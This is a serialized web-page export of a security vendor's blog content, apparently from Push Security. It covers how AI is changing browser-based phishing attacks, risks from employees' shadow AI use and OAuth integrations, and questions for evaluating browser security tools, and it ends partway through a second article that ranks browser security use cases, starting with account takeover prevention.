teams need visibility and control in the browser.",{"data":2956,"content":2960,"nodeType":925},{"target":2957},{"sys":2958},{"id":2959,"type":922,"linkType":923},"1U2Hmn4XrFpdcxyjxY3aCc",[],{"data":2962,"content":2963,"nodeType":953},{},[],{"data":2965,"content":2966,"nodeType":963},{},[2967],{"data":2968,"marks":2969,"value":2971,"nodeType":865},{},[2970],{"type":961},"How AI is transforming attacks",{"data":2973,"content":2974,"nodeType":866},{},[2975],{"data":2976,"marks":2977,"value":2978,"nodeType":865},{},[],"On the adversary side of the equation, adversaries are using AI tooling to rapidly iterate on new attack types or new iterations of existing browser-based TTPs that target employees to achieve account or endpoint compromise — usually with the end goal of harvesting valuable corporate identities in order to exfiltrate data or hold it for ransom.",{"data":2980,"content":2984,"nodeType":925},{"target":2981},{"sys":2982},{"id":2983,"type":922,"linkType":923},"G8xv1seFz1wJnY5HpfV6z",[],{"data":2986,"content":2987,"nodeType":866},{},[2988],{"data":2989,"marks":2990,"value":2991,"nodeType":865},{},[],"AI is changing attacks in three key ways.",{"data":2993,"content":2994,"nodeType":1458},{},[2995],{"data":2996,"marks":2997,"value":2999,"nodeType":865},{},[2998],{"type":961},"AI has supercharged the iteration and evolution of adversary tools and techniques",{"data":3001,"content":3002,"nodeType":866},{},[3003,3007,3016,3020,3028],{"data":3004,"marks":3005,"value":3006,"nodeType":865},{},[],"Attackers are using the same AI capabilities as any other engineer who wants to multiply their output. That translates to an array of new attack techniques: multiple increasingly sophisticated variations of the ",{"data":3008,"content":3010,"nodeType":882},{"uri":3009},"https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/",[3011],{"data":3012,"marks":3013,"value":3015,"nodeType":865},{},[3014],{"type":997},"ClickFix-style attacks",{"data":3017,"marks":3018,"value":3019,"nodeType":865},{},[]," that use social engineering techniques to get users to unknowingly install malware via malicious scripts; as well as creative ",{"data":3021,"content":3022,"nodeType":882},{"uri":1384},[3023],{"data":3024,"marks":3025,"value":3027,"nodeType":865},{},[3026],{"type":997},"exploitation of device codes",{"data":3029,"marks":3030,"value":3031,"nodeType":865},{},[],", a legitimate authentication mechanism, that allows attackers to phish access post-authentication.",{"data":3033,"content":3034,"nodeType":866},{},[3035,3039,3047],{"data":3036,"marks":3037,"value":3038,"nodeType":865},{},[],"Device code phishing in particular demonstrates the rapid growth of new techniques, with early documented appearances of the TTP occurring in 2024, and by early the next year, the method had been packaged as a PhaaS offering with GPT-enhanced spear-phishing and customized landing pages. The ",{"data":3040,"content":3042,"nodeType":882},{"uri":3041},"https://www.huntress.com/blog/device-code-phishing-ai-mfa-bypass",[3043],{"data":3044,"marks":3045,"value":3046,"nodeType":865},{},[],"campaign",{"data":3048,"marks":3049,"value":3050,"nodeType":865},{},[]," targeted more than 340 organizations across five countries in March 2026, using personalized AI-generated lures at a scale that would have been impractical to produce manually.",{"data":3052,"content":3056,"nodeType":925},{"target":3053},{"sys":3054},{"id":3055,"type":922,"linkType":923},"eNUpU2GtGOcXRrHBKHnLN",[],{"data":3058,"content":3059,"nodeType":1458},{},[3060],{"data":3061,"marks":3062,"value":3064,"nodeType":865},{},[3063],{"type":961},"Infrastructure-based detections are increasingly degraded by AI-enabled approaches",{"data":3066,"content":3067,"nodeType":866},{},[3068],{"data":3069,"marks":3070,"value":3071,"nodeType":865},{},[],"AI has also collapsed the cost and time it takes to build convincing phishing infrastructure: Attackers can vibecode a convincing phishing page in minutes, burn the domain, and regenerate another one before any blocklist updates. ",{"data":3073,"content":3077,"nodeType":925},{"target":3074},{"sys":3075},{"id":3076,"type":922,"linkType":923},"2obvOhMWjy64h94tEIbx04",[],{"data":3079,"content":3080,"nodeType":866},{},[3081,3085,3094],{"data":3082,"marks":3083,"value":3084,"nodeType":865},{},[],"The impact on IOC-based detections that rely on infrastructure elements is severe: When elements constantly change, every phishing attack is essentially a zero-day. Complicating the picture further is the increasing use of legitimate cloud platforms like ",{"data":3086,"content":3088,"nodeType":882},{"uri":3087},"https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign",[3089],{"data":3090,"marks":3091,"value":3093,"nodeType":865},{},[3092],{"type":997},"Railway",{"data":3095,"marks":3096,"value":3097,"nodeType":865},{},[],", Cloudflare Workers, and Vercel, which attackers use to host and dynamically rotate attack infrastructure.",{"data":3099,"content":3100,"nodeType":1458},{},[3101],{"data":3102,"marks":3103,"value":3105,"nodeType":865},{},[3104],{"type":961},"AI is making it easier to build and run omni-channel campaigns",{"data":3107,"content":3108,"nodeType":866},{},[3109],{"data":3110,"marks":3111,"value":3112,"nodeType":865},{},[],"Push researchers have written extensively over the last year about malvertising campaigns that serve malicious pages to users via search engine results, enticing them to visit sites designed to steal credentials or deliver malware. ",{"data":3114,"content":3115,"nodeType":866},{},[3116,3120,3129,3133,3141],{"data":3117,"marks":3118,"value":3119,"nodeType":865},{},[],"We've tracked ",{"data":3121,"content":3123,"nodeType":882},{"uri":3122},"https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/",[3124],{"data":3125,"marks":3126,"value":3128,"nodeType":865},{},[3127],{"type":997},"sustained campaigns",{"data":3130,"marks":3131,"value":3132,"nodeType":865},{},[]," impersonating Onfido, TradingView, Ahrefs, Semrush, and others. These campaigns are part of a self-reinforcing criminal ecosystem: Malvertising campaigns paid for by stolen ad accounts, with credential theft that funds the next round of credential theft. And the recent ",{"data":3134,"content":3136,"nodeType":882},{"uri":3135},"https://pushsecurity.com/blog/llmshare-malvertising-campaign/",[3137],{"data":3138,"marks":3139,"value":3140,"nodeType":865},{},[],"LLMShare",{"data":3142,"marks":3143,"value":3144,"nodeType":865},{},[]," campaign identified by Push shows how attackers are combining their abuse of AI tools of AI-assisted phishing page creation with malvertising, helping them to spin up lookalike pages quickly and cheaply to serve as convincing lures.",{"data":3146,"content":3150,"nodeType":925},{"target":3147},{"sys":3148},{"id":3149,"type":922,"linkType":923},"2Gwj25KBjClQ5u8uiEYuYR",[],{"data":3152,"content":3153,"nodeType":866},{},[3154,3158,3163],{"data":3155,"marks":3156,"value":3157,"nodeType":865},{},[],"These are just a few examples of how phishing has moved beyond the inbox, targeting users through malvertising, SEO poisoning, and social media DMs. Over the last year, Push researchers found that ",{"data":3159,"marks":3160,"value":3162,"nodeType":865},{},[3161],{"type":961},"1 in 3 payloads intercepted by the platform were sent outside of email",{"data":3164,"marks":3165,"value":1048,"nodeType":865},{},[],{"data":3167,"content":3168,"nodeType":953},{},[],{"data":3170,"content":3171,"nodeType":963},{},[3172],{"data":3173,"marks":3174,"value":3176,"nodeType":865},{},[3175],{"type":961},"How AI is creating risky employee behaviors ",{"data":3178,"content":3179,"nodeType":866},{},[3180],{"data":3181,"marks":3182,"value":3183,"nodeType":865},{},[],"Meanwhile, on the employee side of the equation, there are three other key concerns that security teams should be paying attention to when it comes to the risks associated with AI use.",{"data":3185,"content":3188,"nodeType":925},{"target":3186},{"sys":3187},{"id":921,"type":922,"linkType":923},[],{"data":3190,"content":3191,"nodeType":1458},{},[3192,3197,3200],{"data":3193,"marks":3194,"value":3196,"nodeType":865},{},[3195],{"type":961},"Data leaving the business via shadow AI",{"data":3198,"marks":3199,"value":2157,"nodeType":865},{},[],{"data":3201,"marks":3202,"value":3204,"nodeType":865},{},[3203],{"type":961},"and AI extensions",{"data":3206,"content":3207,"nodeType":866},{},[3208],{"data":3209,"marks":3210,"value":3211,"nodeType":865},{},[],"Employees are signing up to AI tools directly, beyond the bounds of procurement or security review. That means security teams can't see sensitive data going into LLMs — clipboard pastes of API keys, file uploads to coding assistants, customer data in uploaded spreadsheets, etc.",{"data":3213,"content":3214,"nodeType":866},{},[3215],{"data":3216,"marks":3217,"value":3218,"nodeType":865},{},[],"Most teams also don't have visibility of AI browser extensions, another avenue for data to leave the business. Extensions are also an attack surface in their own right, as previously benign extensions can be compromised by threat actors through account takeover of the extension developer.",{"data":3220,"content":3221,"nodeType":1458},{},[3222,3227],{"data":3223,"marks":3224,"value":3226,"nodeType":865},{},[3225],{"type":961},"Employees using personal accounts on corporate AI app tenants",{"data":3228,"marks":3229,"value":3230,"nodeType":865},{},[]," ",{"data":3232,"content":3233,"nodeType":866},{},[3234,3238,3247],{"data":3235,"marks":3236,"value":3237,"nodeType":865},{},[],"The 2026 ",{"data":3239,"content":3241,"nodeType":882},{"uri":3240},"https://www.verizon.com/business/resources/reports/dbir/",[3242],{"data":3243,"marks":3244,"value":3246,"nodeType":865},{},[3245],{"type":997},"Verizon DBIR",{"data":3248,"marks":3249,"value":3250,"nodeType":865},{},[]," found that 67% of GenAI users on corporate devices are using non-corporate accounts, and our own data shows that 38% of file uploads to AI tools are made from shadow accounts rather than approved organizational ones.",{"data":3252,"content":3253,"nodeType":866},{},[3254],{"data":3255,"marks":3256,"value":3257,"nodeType":865},{},[],"That means a large number of employees in most organizations are using AI apps with personal accounts, outside of organizational data governance, retention policies, access controls, or basic security oversight. ",{"data":3259,"content":3260,"nodeType":866},{},[3261],{"data":3262,"marks":3263,"value":3264,"nodeType":865},{},[],"The compounding risk is that personal accounts are typically protected by weaker passwords, inconsistent MFA, and credential reuse from other personal services — meaning a compromise of the personal account could give an attacker access to corporate data and tools.",{"data":3266,"content":3267,"nodeType":1458},{},[3268],{"data":3269,"marks":3270,"value":3272,"nodeType":865},{},[3271],{"type":961},"Shadow integrations between AI tools and corporate systems",{"data":3274,"content":3275,"nodeType":866},{},[3276],{"data":3277,"marks":3278,"value":3279,"nodeType":865},{},[],"App-to-app connections accomplished through OAuth are also proliferating faster than most teams can observe and review them. For the average organization, Push sees 17 unique AI app OAuth integrations connected just to Microsoft and Google corporate tenants.",{"data":3281,"content":3282,"nodeType":866},{},[3283,3286,3295],{"data":3284,"marks":3285,"value":873,"nodeType":865},{},[],{"data":3287,"content":3289,"nodeType":882},{"uri":3288},"https://pushsecurity.com/blog/unpacking-the-vercel-breach/",[3290],{"data":3291,"marks":3292,"value":3294,"nodeType":865},{},[3293],{"type":997},"recent Vercel breach",{"data":3296,"marks":3297,"value":3298,"nodeType":865},{},[]," illustrates the risks of even a single OAuth connection from a compromised third-party AI SaaS provider. This isn't really a new AI threat so much as a shadow SaaS problem that's accelerating alongside AI adoption, given that AI apps are specifically designed to pull data from one system, analyze it in another, and present it in a third — with MCP connections now creating the same kind of persistent, permissioned access through an authentication protocol (OAuth) that most organizations have no process to review.",{"data":3300,"content":3304,"nodeType":925},{"target":3301},{"sys":3302},{"id":3303,"type":922,"linkType":923},"1t2jn4fLxMlH0adMyQqkXk",[],{"data":3306,"content":3307,"nodeType":866},{},[3308],{"data":3309,"marks":3310,"value":3311,"nodeType":865},{},[],"This is the same web of OAuth-connected apps that is being exposed at scale through AI tool integrations. For many organizations, AI tools are now the hub of modern activity that orchestrates and automates across the mesh of cloud apps, which adds a useful perspective on what's changed. ",{"data":3313,"content":3317,"nodeType":925},{"target":3314},{"sys":3315},{"id":3316,"type":922,"linkType":923},"6cRnPkGdwWXRWcct6LfMzo",[],{"data":3319,"content":3323,"nodeType":925},{"target":3320},{"sys":3321},{"id":3322,"type":922,"linkType":923},"5WQZNpnPETWeys1VqubVW",[],{"data":3325,"content":3326,"nodeType":953},{},[],{"data":3328,"content":3329,"nodeType":963},{},[3330],{"data":3331,"marks":3332,"value":3334,"nodeType":865},{},[3333],{"type":961},"What to ask when evaluating browser-based AI visibility and control solutions",{"data":3336,"content":3337,"nodeType":866},{},[3338],{"data":3339,"marks":3340,"value":3341,"nodeType":865},{},[],"When you're evaluating AI visibility and control platforms that operate in the browser, there are two lines of questioning that can be useful to unpack.",{"data":3343,"content":3344,"nodeType":866},{},[3345],{"data":3346,"marks":3347,"value":3348,"nodeType":865},{},[],"The first is the tactical basics: What use cases does the product cover, and how quickly will you see value? In this category, you'll likely be looking for:",{"data":3350,"content":3351,"nodeType":1049},{},[3352,3367,3382,3397],{"data":3353,"content":3354,"nodeType":1003},{},[3355],{"data":3356,"content":3357,"nodeType":866},{},[3358,3363],{"data":3359,"marks":3360,"value":3362,"nodeType":865},{},[3361],{"type":961},"Depth of visibility:",{"data":3364,"marks":3365,"value":3366,"nodeType":865},{},[]," Can the solution observe both corporate and personal account usage of AI apps? Does the solution work with all major browsers, including emerging AI browsers? Does the solution automatically classify AI apps and automatically discover shadow AI?",{"data":3368,"content":3369,"nodeType":1003},{},[3370],{"data":3371,"content":3372,"nodeType":866},{},[3373,3378],{"data":3374,"marks":3375,"value":3377,"nodeType":865},{},[3376],{"type":961},"Granularity of controls:",{"data":3379,"marks":3380,"value":3381,"nodeType":865},{},[]," Does the solution support visibility and control over clipboard interactions, allowing you to identify sensitive data strings like personal access tokens (PATs) or API keys? Does the solution allow you to set multiple enforcement modes (monitor, warn, block) and carve out exceptions for tools, teams and individuals where necessary? ",{"data":3383,"content":3384,"nodeType":1003},{},[3385],{"data":3386,"content":3387,"nodeType":866},{},[3388,3393],{"data":3389,"marks":3390,"value":3392,"nodeType":865},{},[3391],{"type":961},"Ease of deployment:",{"data":3394,"marks":3395,"value":3396,"nodeType":865},{},[]," How is the solution deployed? Browser extension-based solutions like Push can be deployed at scale in an hour. Solutions that require an endpoint agent or a complete browser replacement will be a heavier lift.",{"data":3398,"content":3399,"nodeType":1003},{},[3400],{"data":3401,"content":3402,"nodeType":866},{},[3403,3408],{"data":3404,"marks":3405,"value":3407,"nodeType":865},{},[3406],{"type":961},"Scope of coverage:",{"data":3409,"marks":3410,"value":3411,"nodeType":865},{},[]," Does the solution only enforce policy around AI usage, or does it also prevent AI-enabled attacks in the browser? ",{"data":3413,"content":3414,"nodeType":866},{},[3415],{"data":3416,"marks":3417,"value":3418,"nodeType":865},{},[],"The second set of questions is more about the underlying architectural choices a product has made, and how those translate into actionable intelligence for security teams — or where there may be blind spots. In this category, you will want to ask:",{"data":3420,"content":3421,"nodeType":1458},{},[3422],{"data":3423,"marks":3424,"value":3425,"nodeType":865},{},[],"Does the tool capture AI interactions that didn’t trigger a policy violation — or only the ones it blocked?",{"data":3427,"content":3428,"nodeType":866},{},[3429],{"data":3430,"marks":3431,"value":3432,"nodeType":865},{},[],"This is the most useful diagnostic if you're focused on understanding the wider security meaning and impact of an AI interaction, not just whether it violated a policy. ",{"data":3434,"content":3435,"nodeType":866},{},[3436],{"data":3437,"marks":3438,"value":3439,"nodeType":865},{},[],"Enforcement-first tools record what they stopped: blocked uploads, attempted usage of unapproved apps, flagged file names, etc. ",{"data":3441,"content":3442,"nodeType":866},{},[3443,3447,3452],{"data":3444,"marks":3445,"value":3446,"nodeType":865},{},[],"That's useful for compliance reporting but incomplete for security investigation, because ",{"data":3448,"marks":3449,"value":3451,"nodeType":865},{},[3450],{"type":961},"the most significant events are often the ones that looked normal at the time",{"data":3453,"marks":3454,"value":3455,"nodeType":865},{},[],": A user whose behavior shifted gradually over weeks before a resignation. An approved AI browser extension that updates its permissions, putting it in risky territory. An OAuth consent grant that was technically permitted but shouldn't have been.",{"data":3457,"content":3458,"nodeType":866},{},[3459],{"data":3460,"marks":3461,"value":3462,"nodeType":865},{},[],"Ask whether the tool can collect user behavior telemetry, file upload and download activity, and AI usage logs for permitted events — not just policy violations — and whether that telemetry can be forwarded to your SIEM. ",{"data":3464,"content":3465,"nodeType":866},{},[3466],{"data":3467,"marks":3468,"value":3469,"nodeType":865},{},[],"One approach gives you an investigation tool. The other gives you compliance alerts without deeper context.",{"data":3471,"content":3472,"nodeType":1458},{},[3473],{"data":3474,"marks":3475,"value":3476,"nodeType":865},{},[],"When an AI agent requests OAuth permissions to access your organization's data, does the tool capture the consent flow — what scopes were requested on which app, which user initiated the consent, and what was the outcome?",{"data":3478,"content":3479,"nodeType":866},{},[3480],{"data":3481,"marks":3482,"value":3483,"nodeType":865},{},[],"Most enforcement-first tools treat OAuth as a binary: approved app or blocked app. That was a reasonable model when OAuth grants were primarily app-to-app integrations managed by IT. It isn't sufficient for agentic AI.",{"data":3485,"content":3486,"nodeType":866},{},[3487],{"data":3488,"marks":3489,"value":3490,"nodeType":865},{},[],"AI agents request OAuth permissions to access organizational data on behalf of users. These are user-initiated consent grants that happen inside browser sessions, often with broad scopes, and frequently without security team awareness. The right tool needs to capture the consent event itself: what permissions were requested, what scopes were granted, who approved them, and what application received them. ",{"data":3492,"content":3493,"nodeType":866},{},[3494],{"data":3495,"marks":3496,"value":3497,"nodeType":865},{},[],"Ask whether the tool monitors OAuth consent flows across authorization servers, whether it can warn or block consent grants in real time based on policy, and whether that coverage extends to AI-enabled apps and MCP connections.",{"data":3499,"content":3500,"nodeType":1458},{},[3501],{"data":3502,"marks":3503,"value":3504,"nodeType":865},{},[],"When a new browser attack technique emerges that no tool has a signature for, how long does it take the platform to detect it — and can you show a specific example?",{"data":3506,"content":3507,"nodeType":866},{},[3508],{"data":3509,"marks":3510,"value":3511,"nodeType":865},{},[],"Attackers are rotating infrastructure in hours and using AI to generate new lures and phishing pages at scale. A detection model built on blocklists, reputation feeds, and known-bad indicators is architecturally behind any novel technique because by the time the indicator appears on a feed, the attacker has already moved on.",{"data":3513,"content":3514,"nodeType":866},{},[3515],{"data":3516,"marks":3517,"value":3518,"nodeType":865},{},[],"Ask vendors to show you a specific detection that fired on a novel technique before the infrastructure appeared on any threat feed.",{"data":3520,"content":3521,"nodeType":1458},{},[3522],{"data":3523,"marks":3524,"value":3525,"nodeType":865},{},[],"What browser telemetry reaches your SIEM — just alerts, or the underlying session data that makes those alerts investigable?",{"data":3527,"content":3528,"nodeType":866},{},[3529],{"data":3530,"marks":3531,"value":3532,"nodeType":865},{},[],"Ask to see a sample SIEM event from a real detection. Many browser security tools integrate with SIEMs, but the depth of what they forward varies a lot. ",{"data":3534,"content":3535,"nodeType":866},{},[3536],{"data":3537,"marks":3538,"value":3539,"nodeType":865},{},[],"Some send alert metadata that captures policy violations, timestamps, and involved users. Others forward a broader set of telemetry for deeper context — credential reuse, app logins, newly installed extensions, detected phishing kits, file uploads, clipboard activity, OAuth consent flows, file downloads, etc. ",{"data":3541,"content":3542,"nodeType":866},{},[3543],{"data":3544,"marks":3545,"value":3546,"nodeType":865},{},[],"The difference determines whether your SOC team can easily correlate signals from the browser-based tool with other layers of their stack and begin an investigation from the SIEM event itself — or whether they need to pivot back into the vendor's console for the actual evidence.",{"data":3548,"content":3549,"nodeType":953},{},[],{"data":3551,"content":3552,"nodeType":963},{},[3553],{"data":3554,"marks":3555,"value":3557,"nodeType":865},{},[3556],{"type":961},"AI visibility and control is a feature of the right browser security platform, not a separate purchase",{"data":3559,"content":3560,"nodeType":866},{},[3561],{"data":3562,"marks":3563,"value":3564,"nodeType":865},{},[],"Ultimately, the choice of browser platform for solving the two big problems of the AI era comes down to whether you need broader attack coverage and telemetry context in order to secure your organization, or whether a policy-based approach is enough. ",{"data":3566,"content":3567,"nodeType":866},{},[3568,3572],{"data":3569,"marks":3570,"value":3571,"nodeType":865},{},[],"Push treats the challenges of stopping AI-enabled attacks and providing visibility and control over AI usage as features that extend naturally from the platform's underlying architectural model: Rich browser-layer telemetry in ",{"data":3573,"marks":3574,"value":3576,"nodeType":865},{},[3575],{"type":961},"a single tool that helps security teams answer the question “What actually happened here?” not just “What policy was violated?”",{"data":3578,"content":3579,"nodeType":866},{},[3580],{"data":3581,"marks":3582,"value":3583,"nodeType":865},{},[],"This unified architecture matters because the AI control problem and the browser threat detection problem share a root cause: Security-relevant activity is happening inside browser sessions that most tools can't see. ",{"data":3585,"content":3586,"nodeType":866},{},[3587],{"data":3588,"marks":3589,"value":3590,"nodeType":865},{},[],"A standalone AI governance tool can tell you which AI apps are in use and whether employees violated a usage policy. It can't tell you whether the OAuth grant an AI agent just received was part of a broader pattern that includes credential entry on an unfamiliar domain, a clipboard paste from an internal document, and a login to a shadow SaaS app — all in the same session, all visible in the same telemetry stream. ",{"data":3592,"content":3593,"nodeType":866},{},[3594],{"data":3595,"marks":3596,"value":3597,"nodeType":865},{},[],"Separating AI governance from browser security means maintaining two tools that each only see half the picture. ",{"data":3599,"content":3600,"nodeType":1458},{},[3601],{"data":3602,"marks":3603,"value":3604,"nodeType":865},{},[],"How Push can help",{"data":3606,"content":3607,"nodeType":1049},{},[3608,3631,3654,3676,3686,3696,3706],{"data":3609,"content":3610,"nodeType":1003},{},[3611],{"data":3612,"content":3613,"nodeType":866},{},[3614,3618,3627],{"data":3615,"marks":3616,"value":3617,"nodeType":865},{},[],"Block emerging ",{"data":3619,"content":3621,"nodeType":882},{"uri":3620},"https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/",[3622],{"data":3623,"marks":3624,"value":3626,"nodeType":865},{},[3625],{"type":997},"browser-based attack techniques",{"data":3628,"marks":3629,"value":3630,"nodeType":865},{},[],", including AI-enabled phishing and quickly evolving *Fix-style attacks.",{"data":3632,"content":3633,"nodeType":1003},{},[3634],{"data":3635,"content":3636,"nodeType":866},{},[3637,3641,3650],{"data":3638,"marks":3639,"value":3640,"nodeType":865},{},[],"Benefit from Push's ",{"data":3642,"content":3644,"nodeType":882},{"uri":3643},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/",[3645],{"data":3646,"marks":3647,"value":3649,"nodeType":865},{},[3648],{"type":997},"agentic detection pipeline",{"data":3651,"marks":3652,"value":3653,"nodeType":865},{},[],", which continuously hunts across customer environments to identify emerging threats and ship new detections.",{"data":3655,"content":3656,"nodeType":1003},{},[3657],{"data":3658,"content":3659,"nodeType":866},{},[3660,3663,3672],{"data":3661,"marks":3662,"value":21,"nodeType":865},{},[],{"data":3664,"content":3666,"nodeType":882},{"uri":3665},"https://pushsecurity.com/help/audience/engineering/rest-v1",[3667],{"data":3668,"marks":3669,"value":3671,"nodeType":865},{},[3670],{"type":997},"Stream telemetry",{"data":3673,"marks":3674,"value":3675,"nodeType":865},{},[]," to your SIEM for a wide variety of events, including attack detections; newly installed browser extensions or newly adopted apps; updates to extension permissions; file uploads and downloads; clipboard pastes; app logins; credential reuse; OAuth consents; and more.",{"data":3677,"content":3678,"nodeType":1003},{},[3679],{"data":3680,"content":3681,"nodeType":866},{},[3682],{"data":3683,"marks":3684,"value":3685,"nodeType":865},{},[],"Block file uploads and downloads.",{"data":3687,"content":3688,"nodeType":1003},{},[3689],{"data":3690,"content":3691,"nodeType":866},{},[3692],{"data":3693,"marks":3694,"value":3695,"nodeType":865},{},[],"Block clipboard pastes of sensitive data, with regex-based patterns you can define.",{"data":3697,"content":3698,"nodeType":1003},{},[3699],{"data":3700,"content":3701,"nodeType":866},{},[3702],{"data":3703,"marks":3704,"value":3705,"nodeType":865},{},[],"Monitor for or block unauthorized MCP connections.",{"data":3707,"content":3708,"nodeType":1003},{},[3709],{"data":3710,"content":3711,"nodeType":866},{},[3712,3716,3725],{"data":3713,"marks":3714,"value":3715,"nodeType":865},{},[],"Write your own ",{"data":3717,"content":3719,"nodeType":882},{"uri":3718},"https://pushsecurity.com/help/audience/engineering/resources/custom-detections",[3720],{"data":3721,"marks":3722,"value":3724,"nodeType":865},{},[3723],{"type":997},"custom YAML rules",{"data":3726,"marks":3727,"value":3728,"nodeType":865},{},[]," targeting specific elements of the page DOM, web requests and responses, HTTP headers such as cookies, and a lot more.",{"data":3730,"content":3731,"nodeType":866},{},[3732],{"data":3733,"marks":3734,"value":21,"nodeType":865},{},[],{"data":3736,"content":3740,"nodeType":925},{"target":3737},{"sys":3738},{"id":3739,"type":922,"linkType":923},"7AwQv7bLbARq6mdAgv7uGq",[],{"data":3742,"content":3743,"nodeType":953},{},[],{"data":3745,"content":3746,"nodeType":866},{},[3747,3751,3759],{"data":3748,"marks":3749,"value":3750,"nodeType":865},{},[],"If you'd like to learn more about Push, ",{"data":3752,"content":3753,"nodeType":882},{"uri":1728},[3754],{"data":3755,"marks":3756,"value":3758,"nodeType":865},{},[3757],{"type":997},"book a live demo",{"data":3760,"marks":3761,"value":1048,"nodeType":865},{},[],"Why you can't control AI without being in the browser","Why the right browser security tool makes a separate AI visibility and control purchase unnecessary — and how to decide what you actually need.","why-you-cant-control-ai-without-being-in-the-browser",{"items":3766},[3767,3769],{"sys":3768,"name":297},{"id":2828},{"sys":3770,"name":2825},{"id":2824},{"items":3772},[3773],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":3777},"Kelly Davenport","Kelly","Product Team",{"url":3778},"https://images.ctfassets.net/y1cdw1ablpvd/1hi8bEuVfn5sF57LivAq6d/9a3b82426c697d765e2e450e33a18424/kelly_profile_pic.jpeg",{"__typename":1788,"sys":3780,"content":3782,"title":5016,"synopsis":5017,"hashTags":59,"publishedDate":5018,"slug":5019,"tagsCollection":5020,"authorsCollection":5026},{"id":3781},"6MoHWfQlVildcFYKSbfMcE",{"json":3783},{"data":3784,"content":3785,"nodeType":1739},{},[3786,3802,3808,3815,3822,3828,3831,3839,3847,3866,3914,3920,3935,3938,3946,3953,3981,4022,4029,4032,4040,4048,4055,4061,4068,4071,4079,4086,4128,4165,4172,4175,4183,4190,4215,4222,4266,4273,4276,4284,4292,4337,4344,4350,4353,4361,4369,4402,4409,4415,4422,4425,4433,4441,4470,4477,4484,4491,4494,4502,4510,4517,4523,4530,4553,4582,4585,4593,4601,4608,4615,4618,4626,4688,4691,4699,4706,4997,5000],{"data":3787,"content":3788,"nodeType":866},{},[3789,3793,3798],{"data":3790,"marks":3791,"value":3792,"nodeType":865},{},[],"Browser security solutions are one of the most significant additions to the enterprise security stack in recent years — and the data shows it. The browser is where ",{"data":3794,"marks":3795,"value":3797,"nodeType":865},{},[3796],{"type":961},"85% of work now happens",{"data":3799,"marks":3800,"value":3801,"nodeType":865},{},[],", where AI tools are accessed, and where attackers increasingly choose to strike.",{"data":3803,"content":3807,"nodeType":925},{"target":3804},{"sys":3805},{"id":3806,"type":922,"linkType":923},"5P6PyFbn4EakRNlIWtNzyL",[],{"data":3809,"content":3810,"nodeType":866},{},[3811],{"data":3812,"marks":3813,"value":3814,"nodeType":865},{},[],"But browser security is a nascent category. Getting a clear picture of which solution is right for your team, and how to get the most out of it, isn't straightforward. Current solutions on the market serve a wide range of IT and security use cases, with varying degrees of depth and differentiation across them. Not all use cases are equal in terms of their security value, and not all of them are best addressed in the browser.",{"data":3816,"content":3817,"nodeType":866},{},[3818],{"data":3819,"marks":3820,"value":3821,"nodeType":865},{},[],"This article ranks the security problems that browser security solutions can address by the value they deliver: a combination of the risk reduction on offer, and the degree to which the browser is genuinely the best (or only) layer to solve the problem. ",{"data":3823,"content":3827,"nodeType":925},{"target":3824},{"sys":3825},{"id":3826,"type":922,"linkType":923},"6SJPvEHizSYk29lEvVVNj",[],{"data":3829,"content":3830,"nodeType":953},{},[],{"data":3832,"content":3833,"nodeType":963},{},[3834],{"data":3835,"marks":3836,"value":3838,"nodeType":865},{},[3837],{"type":961},"#1 — Account takeover prevention: detecting credential attacks across all vectors",{"data":3840,"content":3841,"nodeType":866},{},[3842],{"data":3843,"marks":3844,"value":3846,"nodeType":865},{},[3845],{"type":961},"Security value: Very high | Browser fit: Uniquely suited",{"data":3848,"content":3849,"nodeType":866},{},[3850,3854,3862],{"data":3851,"marks":3852,"value":3853,"nodeType":865},{},[],"Account takeover (ATO) is the dominant entry point for enterprise breaches: ",{"data":3855,"content":3857,"nodeType":882},{"uri":3856},"https://www.crowdstrike.com/en-gb/resources/infographics/identity-security-risk-review/",[3858],{"data":3859,"marks":3860,"value":3861,"nodeType":865},{},[],"80% of all modern breaches involve compromised or stolen identities",{"data":3863,"marks":3864,"value":3865,"nodeType":865},{},[],". The attack surface is far wider than most identity tooling can see: credential stuffing, password spraying, ghost logins (password-based fallback authentication that persists after SSO is configured), weak or reused credentials on shadow SaaS apps, and accounts where MFA was never enforced.",{"data":3867,"content":3868,"nodeType":866},{},[3869,3873,3881,3884,3889,3893,3898,3902,3910],{"data":3870,"marks":3871,"value":3872,"nodeType":865},{},[],"According to ",{"data":3874,"content":3876,"nodeType":882},{"uri":3875},"https://cf-assets.www.cloudflare.com/slt3lc6tev37/sWDBUMNVtEJB9ZFLt1dUU/8d69e92de2edfb3bf59e7d21d57e7e1a/Cloudflare-2026-threat-report.pdf",[3877],{"data":3878,"marks":3879,"value":3880,"nodeType":865},{},[],"Cloudflare's 2026 Threat Report",{"data":3882,"marks":3883,"value":2186,"nodeType":865},{},[],{"data":3885,"marks":3886,"value":3888,"nodeType":865},{},[3887],{"type":961},"63% of all human logins involve credentials already compromised elsewhere",{"data":3890,"marks":3891,"value":3892,"nodeType":865},{},[],", and ",{"data":3894,"marks":3895,"value":3897,"nodeType":865},{},[3896],{"type":961},"94% of all login attempts originate from bots",{"data":3899,"marks":3900,"value":3901,"nodeType":865},{},[],". The ",{"data":3903,"content":3905,"nodeType":882},{"uri":3904},"https://pushsecurity.com/blog/snowflake-retro/",[3906],{"data":3907,"marks":3908,"value":3909,"nodeType":865},{},[],"Snowflake breach",{"data":3911,"marks":3912,"value":3913,"nodeType":865},{},[]," — 165+ organizations compromised, 1 billion+ records stolen — was powered almost entirely by ghost logins: accounts missing MFA that were susceptible to credential stuffing. It's particularly telling that 80% of the accounts impacted had prior breach exposure.",{"data":3915,"content":3919,"nodeType":925},{"target":3916},{"sys":3917},{"id":3918,"type":922,"linkType":923},"HbZ66kp5DiAZtwNGFJK7d",[],{"data":3921,"content":3922,"nodeType":866},{},[3923,3927,3932],{"data":3924,"marks":3925,"value":3926,"nodeType":865},{},[],"For organizations with contractors and BYOD users, the browser extension is also the only enterprise control deployable on devices that can't be MDM-enrolled — extending ATO detection to exactly the place where, per Verizon DBIR 2025, ",{"data":3928,"marks":3929,"value":3931,"nodeType":865},{},[3930],{"type":961},"46% of infostealer infections 